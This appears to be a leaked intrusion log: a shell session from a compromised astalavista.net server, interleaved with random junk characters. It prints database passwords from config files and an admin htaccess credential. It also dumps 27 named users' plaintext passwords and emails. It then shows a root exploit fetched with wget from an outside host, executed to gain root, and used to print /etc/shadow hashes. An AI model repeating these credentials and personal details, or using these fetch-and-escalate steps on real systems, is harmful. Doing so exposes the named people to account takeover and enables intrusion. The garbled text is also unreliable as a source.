drwxr-x— 29 astanet apache 4096 Jan 6 13:58 .) r# T* Q4 Q+ [
drwx–x–x 8 astanet astanet 4096 Dec 23 13:53 ..- a- a/ k8 u6 N* p, ~
drwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 _007! L2 u; v" @% v u
drwxr-xr-x 7 astanet astanet 4096 Jan 5 2006 _0mysql
! ^6 K1 I! ?5 Adrwxr-xr-x 7 astanet astanet 4096 Dec 22 14:16 链接标记astanet@astalavista.com
, q$ J7 l$ i* Q s( ~0 W1 C# Tdrwxrwxrwx 2 astanet astanet 4096 Jan 5 2006 backend# X( r. X( g( d* w; c& d
drwxr-xr-x 2 astanet astanet 4096 Oct 24 2006 banner; K; A( G7 l- G. L: V
-rw-r–r– 1 astanet astanet 25724 Apr 4 2006 banner.jpg; N) [ g* Z. K2 X* u
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 config
; X4 A; [# [8 c! ]drwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 cron
5 f+ y o% p: c$ z; o- G6 B2 P) tdrwxr-xr-x 11 astanet astanet 4096 Jan 5 2006 dvd% D3 W9 B# E9 @: F2 E
-rw-r–r– 1 astanet astanet 36 Jan 5 2006 error.php) F5 x4 o# F3 _+ f T
-rw-r–r– 1 astanet astanet 1406 Jan 5 2006 favicon.ico3 u4 }: J+ u( W; x/ n
drwxrwxrwx 2 astanet astanet 4096 Dec 15 2006 feed
- }- t$ Y" h2 N2 i6 V% `drwxr-xr-x 3 astanet astanet 4096 Dec 8 2006 flashtour5 h2 B6 q" |" Q' K0 Z, X9 A5 o
-rw-r–r– 1 astanet astanet 18 Jan 5 2006 htaccess
0 u$ d5 F- f y7 R6 R-rw-r–r– 1 astanet astanet 585 Mar 24 14:50 .htaccess
/ G& {* K) ]6 Q1 U-rw-r–r– 1 astanet astanet 398 Jan 5 2006 index1.php% g0 ~. P0 |" S; g
-rw-r–r– 1 astanet astanet 1036 Jan 5 2006 _index.html4 {- V4 t1 m& L8 k$ ^
-rw-r–r– 1 astanet astanet 6880 Dec 23 14:44 index.php
- {* Y1 `) m9 b. M-rw-r–r– 1 astanet astanet 676 Mar 21 2006 index_redirect.php
; o. M5 k. y9 E-rw-r–r– 1 astanet astanet 739 Feb 24 2006 index.swf
+ [7 Z; g; {% {# r4 B3 J( Zdrwxr-xr-x 4 astanet astanet 4096 Oct 18 2006 irc
8 `" Z- c; D8 H; C/ vdrwxr-xr-x 4 astanet astanet 4096 Aug 11 2006 lang0 B3 ]- `* R8 ~6 ?; x9 m
drwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 lib0 S( j$ m+ k+ R0 W# N
drwxr-xr-x 6 astanet astanet 4096 Aug 11 2006 log
. q9 ]6 F: ]$ _4 {" S* zdrwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 member
2 g" V) F1 L$ J# ~! h0 ?drwxrwxrwx 5 astanet astanet 4096 Jun 4 00:03 memberdata
% [$ c# R/ E% ~$ F! \8 [drwxr-xr-x 2 astanet astanet 4096 Jan 5 2006 new
& O& }0 f8 H* M9 K2 t. l. ^- E-rw-r–r– 1 astanet astanet 7219 Feb 24 2006 pix1.swf/ f7 z8 M, t D5 j {" @* p* }
drwxr-xr-x 2 astanet astanet 4096 Oct 27 2006 re
, Q. W# V! M& R, O-rw-r–r– 1 astanet astanet 23 Jan 5 2006 robots.txt9 b3 v8 D7 _ `/ W
drwxr-xr-x 3 astanet astanet 4096 Aug 11 2006 rss
( ]# m1 j& w2 E0 F5 Y' Tdrwxr-xr-x 39 astanet astanet 4096 Dec 13 2007 sources& U* H* _5 k* A! ] z
drwxrwxrwx 3 astanet astanet 4096 Feb 2 15:40 temp_com; @: N. I5 L" @/ k; X
drwxr-xr-x 7 astanet astanet 4096 Aug 11 2006 themes4 [) T6 Y# @! |
drwxr-xr-x 2 astanet astanet 4096 Mar 14 2008 tmp_src
% C2 D( W' Y/ H3 z- W+ ]drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 tpl( M! R* U' y$ \- Y. I$ _
drwxr-xr-x 3 astanet astanet 4096 Sep 7 2006 v2
% U, N& V# f5 J) G @) F' o" g9 udrwxr-xr-x 16 astanet astanet 4096 Jul 5 2006 v2_old/ }* |! R8 p% R& p0 b% t
-rw-r–r– 1 astanet astanet 35 Dec 4 2006 webcash.php- g v1 ~2 \8 j }9 G
drwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 wiki" n q( ~/ u8 H+ q
8 X9 ^4 c& j; a2 u3 X
sh-3.2$ head -20 index.php
0 ?& e! [2 J- v* s<?PHP% V) Z3 R+ ^) w5 R7 j% A
/**
2 R' b/ X5 c( U+ |* Mainfile (external) for astalavistaNET v2.0
, O% }9 R; h2 }" ?8 b7 z*6 Q5 b" [: ~: }8 B4 j1 B8 l
* @copyright Astalavista IT Engineering GmbH
; O0 L# y9 d, l* @author Thomas Kaelin <链接标记thomas.kaelin@astalavista.ch>
! B; ?* p. b" |$ C3 M* @version 1.0
7 n; I* J: W9 X8 R9 ^5 R*/. ?8 F8 L8 S* `; W1 G- \
$ o5 v" r4 a+ {$ t if ($_SERVER['PHP_SELF'] == ‘/webcash.php’) {
# w0 d# d0 M+ f8 R4 l) b1 n' D: O $dontStartSession = false;0 i5 b9 N. V0 x( z8 u( c4 h
} else {
5 l$ u: A8 w7 \! } $dontStartSession = true;
. i1 P+ r' O. t }
) b! [8 y) r1 {5 Y; H3 b& ^ require_once($_SERVER['DOCUMENT_ROOT'].’/config/com.conf.php’);2 G4 d( T2 ^' d2 a; O o2 |
require_once($_SERVER['DOCUMENT_ROOT'].’/config/ext.conf.php’);5 |3 a+ R# v& J% {- S
require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’com.class.php’);/ c8 V2 n# t% J. D; y$ V& I9 w
require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’ext.class.php’);& u" g3 G& k, Q) k, f
# `; W9 p6 ]1 m4 ^/ L: nsh-3.2$ cd config
6 \2 a8 U* @1 V8 k- A' B/ ksh-3.2$ ls -la
: s a) P% ~0 {) ~: [total 32: [1 U- Y# h3 n! {0 E) T' g7 k
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 . B0 k: v# Y# ^! T% o
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
- ?3 Y1 \( b1 L m* ]-rw-r–r– 1 astanet astanet 987 Aug 11 2006 adm.conf.php/ K, B; \1 }6 A
-rw-r–r– 1 astanet astanet 4937 Dec 23 15:48 com.conf.php3 H; a& V5 `2 J; R
-rw-r–r– 1 astanet astanet 913 Aug 11 2006 cron.conf.php3 i2 X0 S# E0 C" s, X+ O9 ]
-rw-r–r– 1 astanet astanet 1668 Aug 20 2008 ext.conf.php
: D+ s6 x3 ? x2 c# i. z4 o! {-rw-r–r– 1 astanet astanet 2724 May 30 2007 int.conf.php v0 t% h! C. t! J9 [
0 C3 R. [8 r, R7 q( Ysh-3.2$ cat com.conf.php+ d& \/ J6 O/ @5 V. J4 B& C
[snip]. S% Q3 F# V0 ]) A7 h
//member-database
0 A+ ^. Z' }1 L$_CONFIG['db_mem_server'] = ‘localhost’;
# K* y/ ?! a; N5 H1 i. I) S+ d$_CONFIG['db_mem_database'] = ‘astanet_membersystem’;
% _& v2 X" F8 ^% I9 r. n; T. ?$_CONFIG['db_mem_user'] = ‘astanet_db’;
4 j k5 u; p, l3 a6 E" D) E9 x$_CONFIG['db_mem_password'] = ‘TXwVrC7hbq’;3 S7 P8 L, B7 L4 H. L- ]5 {$ C. i
$_CONFIG['db_mem_debug'] = false; //true or false
3 x9 x* D$ {0 y @//ads-database. E p" }. R+ d
$_CONFIG['db_ads_server'] = ‘localhost’;
' D9 R6 [0 P& K. l# h3 T$_CONFIG['db_ads_database'] = ‘astanet_ads’;; O1 y, K+ }$ g, P) S$ x0 t
$_CONFIG['db_ads_user'] = ‘astanet_db’;
7 }$ A# `7 w& p/ ]( X' d$_CONFIG['db_ads_password'] = ‘TXwVrC7hbq’;
8 _# Z( E" b2 a$_CONFIG['db_ads_debug'] = false; //true or false
0 \% Z9 W) f, S) i//rainbow-database
+ @) L1 L# G" z/ l# o% e$_CONFIG['db_rainbow_server'] = ‘212.254.194.163′;
: J* a# @8 |: H) P$_CONFIG['db_rainbow_database'] = ‘rainbow’;4 l9 j/ P% w0 B2 S. j: P
$_CONFIG['db_rainbow_user'] = ‘dinu’;
9 k( d8 Q( D k1 L9 z" M3 J$_CONFIG['db_rainbow_password'] = ‘dinudinu’;
0 n% `7 i( l% ^* J$_CONFIG['db_rainbow_debug'] = false; //true or false
" S8 y! A, ~; K* j//mailing lists database
; Y. w& e w, Q+ x. A) z$_CONFIG['db_mailing_lists_server'] = ‘localhost’;& a3 f8 Y& R3 J$ G3 [. N
$_CONFIG['db_mailing_lists_database'] = ‘astanet_mailing_lists’;# b. _. N2 j/ E1 ^2 Y4 a
$_CONFIG['db_mailing_lists_user'] = ‘astanet_db’;
' ^. A+ u/ U9 F. |: C3 d, O$_CONFIG['db_mailing_lists_password'] = ‘TXwVrC7hbq’;% M f, J+ T, C+ ]- `
$_CONFIG['db_mailing_lists_debug'] = false; //true or false
( `/ l/ C& @7 J9 f//paypal
# G2 w( @6 ?* o/ E% h8 a$_CONFIG['sub_pp_url'] = ‘链接标记[url]https://www.paypal.com/cgi-bin/webscr[/url]’; j( k) ~1 ?' ]9 @
$_CONFIG['sub_pp_cmd'] = ‘_xclick’;
* {6 j3 k: y; }% \! {$_CONFIG['sub_pp_business'] = ‘链接标记info@astalavista.net’;
* z1 T3 h5 s4 E0 B$_CONFIG['sub_pp_noship'] = ‘1′;
+ _) P& ?) u8 o& |4 ?3 m) z$_CONFIG['sub_pp_referer'] = ‘链接标记[url]https://www.paypal.com/[/url]’;
5 R9 f+ Q/ o. F' `- }/ u[snip]
+ }/ T2 t% [, m5 [! u/ P+ O% N
* a9 w: D5 `, a/ ssh-3.2$ cd ..
' K) E7 m$ E G+ Psh-3.2$ cd member
0 ~, j# f' ~, p% c, _6 z, Ssh-3.2$ ls -la, N7 s0 F2 o: V/ V8 {2 j( Q w6 L
total 20: V0 `) h- h( o5 _- N+ ]
drwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 .7 i3 z0 D# ]$ c9 e" Q2 u
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..; a8 t* d; D% b
-rw-r–r– 1 astanet astanet 19 Jan 13 14:02 .htaccess
" l. A5 l' ?# E$ |-rwxr-xr-x 1 astanet astanet 6709 Jan 13 14:06 index.php) `6 R1 |. Y2 e- m- a
sh-3.2$ cat .htaccess
, o/ a) ]/ Q. [9 jSecFilterEngine off
Q3 y5 g$ a% i
4 X6 h* F9 {1 Z3 Ish-3.2$ cd ..0 N" f- H/ T6 i7 f1 z4 e; i4 P
sh-3.2$ cd cron
* n% U8 A; L3 x4 W5 w! m* u" F% H8 o2 J" Ysh-3.2$ ls -la
0 }, d3 [) Y$ Htotal 168
/ J" G5 ^# q# ^drwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 .
w- ]: t# T& F/ Z: Tdrwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
4 x! w$ o, K+ r9 O-rw-r–r– 1 astanet astanet 1272 Jan 12 08:24 0_corefile.php3 U' K& T* s& ^, _
-rw-r–r– 1 astanet astanet 2356 Aug 11 2006 0_functions.php4 g8 F) z/ v( l# p
-rw-r–r– 1 astanet astanet 3616 Dec 23 15:44 1_daily.php9 n" n) h9 { r2 S+ n' O1 Z5 ^
-rw-r–r– 1 astanet astanet 527 Aug 11 2006 1_fivemin.php
8 l4 c9 Q( L( v-rw-r–r– 1 astanet astanet 5006 Dec 23 15:39 1_hourly.php/ V- f+ G6 I$ ?6 [
-rw-r–r– 1 astanet astanet 432 Aug 11 2006 1_weekly.php
; a# [+ K2 B+ G% i% J$ [-rw-r–r– 1 astanet astanet 2277 Aug 11 2006 2_advertising.php, g1 Y( G( }( X
-rw-r–r– 1 astanet astanet 4882 Dec 23 15:40 2_archives.php
+ b7 ]) ]/ \$ |. f9 i0 e* j4 K-rw-r–r– 1 astanet astanet 3784 Aug 16 2006 2_awstats.sh
* e+ Q- X! }* V. l& l-rw-r–r– 1 astanet astanet 14894 Jan 12 08:51 2_expire.bak.php
' x) I6 ?1 g/ r, b9 c7 V1 }-rw-r–r– 1 astanet astanet 14979 Jan 12 09:10 2_expire.php4 G4 W1 [: ~3 U ?
-rw-r–r– 1 astanet astanet 7657 Aug 15 2006 2_exploitree_updater.php/ s& x7 q$ D7 }# X1 Q# \8 H9 `
-rw-r–r– 1 astanet astanet 686 Dec 23 16:31 2_filesize.sh o) a, s+ p; T2 f9 ^% ]# O0 D
-rw-r–r– 1 astanet astanet 9853 Aug 11 2006 2_keywords_old.php! f0 \& O2 [$ S1 K m
-rw-r–r– 1 astanet astanet 15664 Sep 22 2006 2_keywords.php
4 G$ P+ @) T5 m, W, d4 g* j-rw-r–r– 1 astanet astanet 1233 Aug 11 2006 2_proxy_checker.php% T0 ~0 a+ k! K3 ?0 C8 J! D+ H( }% D
-rw-r–r– 1 astanet astanet 7558 Aug 11 2006 2_proxy_collector.php
3 H8 i6 \$ W7 `+ y9 b-rw-r–r– 1 astanet astanet 796 Aug 11 2006 99_create_emails.php
5 r w1 g d$ A1 Z7 I4 W0 p: bdrwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 99_lang_email
, g+ I' F0 p4 a# ]4 W-rw-r–r– 1 astanet astanet 9622 Jan 6 16:04 login_reminder.php
$ ]# A& \" [1 J3 l4 E3 r-rw-r–r– 1 astanet astanet 9620 Jan 6 16:05 login_reminder_test.php1 x. g" r+ g3 P/ F: B$ V
3 N, k+ a: C6 Ush-3.2$ cd ..
0 F( M, x( U: }$ B* k+ _sh-3.2$ cd _007
! m: ]8 _( Q) `. Msh-3.2$ ls -la% W8 {$ B. y! l4 N. |1 |1 g
total 240 T* [* y; d5 W3 o t) q4 o
drwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 ./ {% L1 X4 B) f: p1 u
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
0 L( h: V/ ~7 K-rw-r–r– 1 astanet astanet 96 Dec 23 15:17 .htaccess
5 v" A# X0 i3 g, t% ^-rw-r–r– 1 astanet astanet 3263 Jan 15 2007 index.php, c9 w5 H6 b! T+ }* Y
-rw-r–r– 1 astanet astanet 20 Dec 27 2006 info.php' G# ]) w( C% A. x
drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 sitemap3 P# G% t8 i/ A/ t- q# c, k5 `$ L
7 v8 X7 V2 ]3 Q: qsh-3.2$ cat .htaccess; J$ }% w5 G0 W$ u
authType Basic- W# w8 ?& l# Q- E1 _5 _
authName Admin
, ~; o9 n/ ]$ e% H/ y1 k# hauthUserFile /home/astanet/auth/.htadm_pwd
p3 ^! r$ B. {4 F( drequire valid-user% F4 Z7 a2 P- N7 }2 D
4 l' r2 w+ n5 l+ M3 s0 \8 W
sh-3.2$ cat /home/astanet/auth/.htadm_pwd- F' k1 `- V9 K& E+ U: u: c
admin2net:CR0bl65MwhfT
4 k! r: B7 P2 u7 P9 R3 l5 D: C9 m0 n
sh-3.2$ mysql -u astanet_db -p
8 O, b: @! D) s/ K& ]$ G" X! uEnter password:
) d9 _- u6 J% a6 ]$ F/ v" D' GWelcome to the MySQL monitor. Commands end with ; or \g.
3 |7 W% M7 s5 \' U, YYour MySQL connection id is 275153: @* D2 e8 F% y o" z
Server version: 5.0.45-community-log MySQL Community Edition (GPL)' L" O e& p7 m! z/ c% W
9 e' A& k4 ^% o v' Z
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.; p# w# p0 L4 K* J: @
% }1 w1 a2 s# _% k% tmysql> show databases;
+ ` d G6 s+ Y o7 o4 L5 F& N+———————–+: p8 ^0 a/ s5 U6 A8 a, j
| Database |
; q$ K. l' z! s& h* I d+———————–+% l; P4 {3 f9 l7 u( N, b5 L3 N' F. H* N
| information_schema |. y- ^* v0 `( ~5 H
| astanet_ads |0 c* o4 U5 I* {+ U5 B5 O3 T0 L
| astanet_mailing_lists |
+ ?' p1 Z" l4 M% U. g2 y| astanet_mediawiki |, V/ i- d7 f" @) ?' b8 v% k
| astanet_membersystem |0 w3 J& i7 l, V
| test |. L# Y0 y6 k9 Z; v( v
+———————–+' E2 d4 m* r5 W' F, Z
6 rows in set (0.00 sec)) ?6 w, P A3 T, `* O
7 E, m; j/ y, F' O" R! B/ y$ {) X
mysql> use astanet_membersystem$ }" x- S- n/ c( C$ S" w( v
Database changed* j3 r* M0 M/ C4 s: k2 G
mysql> show tables;7 {0 U# u. L! U; g7 h
+———————————–+( a5 e7 r& G3 [/ I2 v
| Tables_in_astanet_membersystem |
. c! G/ h* ~2 M9 C+———————————–+
1 I/ C, R e" C4 z$ a2 Z| blacklist_categories |" U8 F/ e! }" j- ~3 g! w2 o+ D
| blacklist_content |
# {& _' ]* e3 i R! g0 Z# Z| blacklist_levels |
' `5 i+ Q( W5 P- G* [/ d+ r5 |+ s+ m| blacklist_mcset |
0 d: a6 X3 r D2 e3 N5 t| dir_categories | m+ r# c/ t+ P8 I3 d; H
| dir_comments | C4 K2 I- q0 \4 v) t
| dir_links |$ R& T, `/ r$ Y9 V5 I+ V5 h f3 A
| dir_temp |
4 e( ]7 ?8 A7 r8 r! [| dir_votes |$ h& a# q/ M2 @& X2 b4 T
| documents |2 V# E- x$ B* N: b/ W
| documents_categories |
e6 Q' y$ {, m0 g; Y8 S6 m9 E, h$ J| email_content |
& I9 @7 `+ ~$ {| email_settings |
1 ^' L) r' ~: y+ g4 y/ @+ q| exploits |$ J3 s/ m' k; G. W7 o3 U, H6 `
| exploits_categories |
- p2 o/ K5 t k5 }% }| exploittree_categories |/ M" m$ ^$ }; g% v6 G) r6 n9 Q
| exploittree_exploits |- m1 m2 U6 f2 s! @- t4 _4 _8 a
| home_values |0 X# _6 k! k# e, u9 e
| iso_countries |0 E% N5 r0 J5 p9 ~3 P
| links_categories |" `. l. Q6 H$ b* \3 ~
| links_records |
" r P: J3 j6 c$ T! c| links_unauth |/ e6 e: d$ O( \, H8 s2 `1 t6 q/ G
| links_votes | O& s" h2 M! S/ {
| log |8 P2 L( ^# ^8 C: N+ T+ `
| news_categories |
, h4 u D! y3 B| news_comments |$ S# [/ Q3 Q! b* l& R" T1 P1 c0 [
| news_emoticons |; d' U& j+ H# m5 i; r. ]5 U1 s1 F
| news_latest |0 e8 w$ W; \; R+ p& U" W
| news_messages |
" J5 E, Z; e9 u" L8 L| news_statistics |1 i" u8 Q+ a/ e/ v8 ?
| news_votes |! Y, D# J3 b# `7 c3 U0 G6 L
| prices_content |
" A/ V/ z3 \# w8 p* y| prices_offers |
( {% `6 Y' D& A/ m+ p| rss_settings |
1 @' f: t" o' Q1 a# d0 g0 u| sessions |
1 h# i x( Q% u$ I3 C/ W9 O: K& W+ X| stats_signups |' y7 B! `7 m5 }/ W- X
| u2u2 |: A( O0 |' `6 v# D* n1 P) C
| u2u_contact |0 V8 x) J. y: Y& N+ O$ [9 q! O
| u2u_settings |* _! x; R8 o4 Y/ o* w7 P8 K
| user_keywords_selected_categories |5 [6 T8 ?, e# |3 A
| users |0 s& e$ ^, o* p
| users_ipn_test |
7 r" D+ p( Q! e3 [0 X" h* c| users_keyword_values |
# c0 \0 ?3 |6 o; [5 o2 V| users_profile |. q4 Q2 A/ W$ |/ k, B4 U
| users_temp |4 h5 f$ R5 a; F! R) a
| users_upgrade |9 o0 r3 X. R2 B0 @) }
+———————————–+1 w4 `; v) `0 v& F9 A2 L) f; V
46 rows in set (0.00 sec)# k. T M, q1 h1 g
2 z0 c d# Y q G) B( S, b5 ^
mysql> describe users;
( v1 D7 R; I7 }+————————–+————————————–+——+—–+———————+—————-+4 [( U' l* u' ]' j0 X0 d% m
| Field | Type | Null | Key | Default | Extra |* W8 l8 b( [: H9 Z" B
+————————–+————————————–+——+—–+———————+—————-++ H l7 q# P/ |( C* `" b2 n
| primary_key | smallint(5) unsigned | NO | PRI | NULL | auto_increment | W2 T. F; e+ i; ]" @; a
| user | varchar(50) | NO | | | |
' j$ ^1 n/ T; s+ i$ u# H8 U' ]| nickname | varchar(30) | NO | MUL | anonymous | |
1 D. g2 _1 i' `, H| password | varchar(30) | NO | | | |6 i+ `" z; U5 r9 V
| userlevel | tinyint(3) | YES | MUL | NULL | |
/ `" o/ l. U3 ~7 \& I| exp | int(8) unsigned | NO | | 0 | |
9 a) Q7 }% O5 `, m( `| email | varchar(50) | NO | | | | Z4 S X3 b! j- P
| ip | varchar(15) | NO | | 0 | |5 `4 `% E( b `1 U
| proxy | set(’0′,’1′) | NO | | 0 | |' T+ B/ \. b; a1 t' @/ z
| logtime | timestamp | NO | | CURRENT_TIMESTAMP | |4 z' J$ w q) o' `
| login_reminder_last_sent | timestamp | NO | | 0000-00-00 00:00:00 | |1 ~; x5 ~4 |: D" j/ E
| anz_in | tinyint(1) | NO | | -1 | |
- d, N, }3 w# s6 {( B: v3 D| status | tinyint(1) unsigned | NO | | 0 | |8 N6 v( M- l& U0 T5 A) r$ x `
| checked | set(’0′,’1′,’2′) | NO | | 0 | |' ~* z9 G; V$ W* f$ L; ]
| freemember | set(’0′,’1′) | NO | | 0 | |
* O) {7 a. v- s M; \| ordertype | set(’transfer’,'wp’,'pp’,'mc’,'CnB’) | YES | | NULL | |
7 P. ]) V% n3 x$ d2 E. @| lang | tinytext | NO | | | |5 A5 z5 K4 Y6 d
| adid | smallint(6) | NO | | 0 | |: U5 j( Z& B/ O" a& X
| pp_txn_id | varchar(255) | YES | | NULL | |
9 P( a6 S8 |7 g$ ?( N; I ?6 U0 E1 n( R| cnb_transaction_id | varchar(255) | YES | | NULL | |1 l! W& b' R# E/ N C8 f e
| cnb_order_id | varchar(255) | YES | | NULL | |
b. o! Z0 N/ n( v& S8 B| cnb_user_id | int(11) | YES | | 0 | |
! a3 ^) d- u, b* a3 y, J0 ~* v+————————–+————————————–+——+—–+———————+—————-+
. P# s. B0 [7 L/ J22 rows in set (0.01 sec)
( O* n& h+ p8 a0 u4 J$ V0 h; e1 O, y- m6 Y3 f
mysql> select count(*) as skids from users;' H/ R: t; c# N) r" m
+——-+
* _$ O- Z' e5 L: g o) E! C| skids |6 ~; U& _7 @2 c) i F; ~
+——-+( v1 \( a& {2 X9 {
| 25199 |/ @! n; M7 [; \8 m/ P$ B1 b' {
+——-+
9 Y: F4 V5 ^9 v( _9 W( }: I1 row in set (0.00 sec)
7 f3 C* l9 E5 o' A/ K$ }- l* i# G7 F- j$ V/ i; g
mysql> select user,nickname,password,email from users where userlevel = 1;: q1 o- f5 M5 U5 e( _
+————————–+———————-+——————+———————————–+' z. v5 z1 A* g5 G8 `# ^+ h
| user | nickname | password | email |
8 x) K1 h* d- p! z+————————–+———————-+——————+———————————–+: ?" d3 g: i; ]4 ^+ b+ b. t
| pascal | prozac | astaman3 | 链接标记info@astalavista.net |- t. M K0 z8 ] f& f5 _0 _4 Y
| Ivan Schmid | rOOtless1 | astalavista4asta | 链接标记ivan.schmid@comvation.com |
9 I; N6 y6 |1 b% O7 i% @| qreymer | Palermo | qblsw85iam | 链接标记eche@home.se |4 f, u7 [& z) D* B6 z% _# J
| Christian Wehrli | g0atherd | hitt?74 | 链接标记g0atherd@gmx.net |
) `4 l. E: Y4 w+ u2 p| Andrew Blake | Minky | liq73uid | 链接标记a.blake@har.mrc.ac.uk |' f- P, X8 Z3 W* k6 F5 U) p. j
| Martin Wyss | dinu | kj63;cXy | 链接标记martin.wyss@astalavista.net |) y% p/ z0 g# f v& @; V
| Leandro Nery | Timan_no_Sanco | nery2002 | 链接标记leandronery@hotmail.com |& T4 k% H6 [8 Q/ M* {
| shaving ryans privates | ShavingRyansPrivates | memberboard313 | 链接标记shavingryansprivates1@hotmail.com |
; l8 B1 _6 Y+ L| Gerben van der Lubbe | Spoofed Existence | Lb59eXg5 | 链接标记spoofedexistence@hotmail.com |" E N# O: V2 @/ [! A3 s- ^4 r
| David M Lee | Daremo | icG12m03 | 链接标记daremo@hackerheaven.com |
1 m7 E4 M. { R3 L! f: }- f% w| David Corn | akriel | ve3uB$cUku | 链接标记akriel@fallenroot.net |" ?% Y$ c- I. W1 s
| Thomas Kalin | Gwanun | QwErTy123 | 链接标记thomas.kaelin@astalavista.net |
" }: y+ c4 V( J' ^0 R0 U- v6 Q" w| Marcus unknown | Cra58cker | hhCr4ck06 | 链接标记unknownmarcus@hotmail.com |- _) b& c( s! `$ y# l) Q5 P' G+ r
| David Ellis | dellis203 | philip | 链接标记dellis@nightwatchnss.com |
+ k B3 K7 Q6 v| Lars Christian Solberg | xeor | tF3s4|Nea | 链接标记xeor@hush.com |+ \% i) m7 L& ^2 J0 q
| Paulo Santos | Be1er0ph0r1 | amor01 | 链接标记pmsantos@gmx.ch |
9 Z+ Q! M# z; w: z+ l" || Thomas D?ppen | daha | asta4tom | 链接标记thomas.daeppen@astalavista.ch |
' [( E' l/ u: p# d& j6 P| Touraj Abbasi Moghaddasi | -Crow1 | NetR0ck | 链接标记toraj.a.m@gmail.com |! b9 ]4 g- }8 X/ S
| Fabius Bernet | traviser | wellenreiter100 | 链接标记fabius.bernet@astalavista.ch |
. Q! b. U. G) F1 Q" B| Zachary McElroy | duder1 | dirty245dix | 链接标记mcelroyzj@yahoo.com |5 u a! p9 V$ {# r
| Leron Cohen | cohen2 | leron4free | 链接标记leron@quiredmedia.com |
) L3 H x3 w. E& }| Beatriz Pontes | anonymous1656 | pitas | 链接标记joao.pedro.pontes@gmail.com |
! X$ Z0 O0 @4 \| Glafkos Charalambous | anonymous2086 | si99490178$# | 链接标记nowayout@webhostline.com |- Q* B( D) j$ E% y+ ?5 n
| developer COMVATION | anonymous2402 | Ri?Q$Q$MVU | 链接标记ivan.schmid@astalavista.ch |
! f( j6 d( h3 ^; _3 \5 Z| Peter Fisher | cyph3r1 | testZer025435 | 链接标记cyph3r@astalavista.com | E) T0 X9 Y+ |4 m- `- o+ q
| sykadul | sykadul | ak29eral | 链接标记sykadul@gmail.com |- a5 K' I7 B, E) @: N4 U. ^* W
| Ronny Janzi | commander1 | mpbdaagf6m | 链接标记ronny.janzi@astalavista.ch |$ ~5 h0 s# p- W+ z2 W8 I- |' ~
+————————–+———————-+——————+———————————–+
% f& i& }5 W4 [% |+ A: J2 X27 rows in set (0.00 sec); Y( p9 ?, T E
$ L" e5 E% O/ U# I. S( ?2 vmysql> exit;
- H& J7 J, T+ KBye
& h. t6 f; I8 u1 S; {, o- \/ H2 T# n& K; C% j
[~] plaintext passwords? yes,
0 m) d+ y- c, ~. C" KThose so called “security professionals” who charge you $6.66 / month to$ e2 d7 f" D* q; k/ v
register at their hack-proof portal, save your passwords in plaintext…7 }; A2 _; K6 F- E9 Q
brilliant!& i) E4 R- n$ E7 w) \0 p, o& j
% y0 T0 S$ p- H5 g# R! Z: R
[~] This been fun but we want more.
* R% W( Q5 v& a/ _/ S& S
. l, u" m$ E! @$ I8 |sh-3.2$ uname -a `9 |9 p# L1 t4 z: F6 s
Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
6 I# E) a& m0 z5 B/ gsh-3.2$ wget 链接标记[url]http://anti.sec.labs/g0troot[/url]
$ ]# n- n! [% j5 c* n–13:33:37– 链接标记[url]http://anti.sec.labs/g0troot[/url]( V j! H3 T6 F
Resolving anti.sec.labs… 13.33.33.37) N5 b o1 A" B0 c2 {
Connecting to anti.sec.labs|13.33.33.37|:80… connected.) ~ Z* R) T0 c% \% m' t4 s
HTTP request sent, awaiting response… 200 OK# r+ b+ T: M7 |6 }, r$ T
Length: 18200 (18K) [text/plain]3 `2 A5 _2 l, p/ z5 d5 Q+ F# e( {
Saving to: `g0troot’- O7 t, d9 S* z v
; @$ C: e- E5 Y* Z6 r- ?
100%[=========================================================================================================================================>] 18,200 58.6K/s in
6 e9 S6 p Y& B. x5 m0.3s
2 Y$ b2 l% {! Z/ H& E
, G3 o' d" a8 E/ V# }' n) I O+ n) Y) }18:55:14 (58.6 KB/s) - `g0troot’ saved [18200/18200]
! q/ g3 V; r% m6 D0 J9 _- d; R {& f* V6 c1 A6 q; z
sh-3.2$ ./g0troot -i x86_64, S5 o: J% h1 c9 R" C
[+] g0troot - anti.sec.labs
* Z6 O0 V& W8 }7 ^4 }[+] Target: 2.6.18-128.1.10.el5
6 U: S5 ?: I2 n2 s[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]# R; ?5 h) ?# B+ R8 M( P
5 t* N( D, g5 {9 @[+] r00tr00t) K }' Z$ b/ C5 N. I. F; h4 z' m( Q
[~] Executing shell…9 m M5 T7 y$ O6 e( C
- P |7 s6 _# i p2 A& p
sh-3.2# id
/ W6 Z7 i' c# n+ Buid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
9 W q4 j% } U \8 l% [
' Z3 A/ k$ B: vsh-3.2# cat /etc/shadow
1 c; H# t% K6 i8 troot 1$P/3ZMAgv$E9B4mX02s1Xrimj46V602.:14015:0:99999:7:::
( M9 q7 q+ w A0 Z3 }4 o[snip]5 w4 E* x2 E( D
admin1$sbycsEGo$d81laShnxFiziFaQMH32F.:13770:0:99999:7:::6 e" Z: s9 o6 }5 W
jon1$5yHxRLX.$8pZs0cQLNh5uFCK3m4st1.:13777:0:99999:7:::1 T$ b1 ~; L( d8 N- @0 E+ y
com1$jEZ62nri$aDTj.1REsrYePcPBdfOQz1:13780:0:99999:7:::
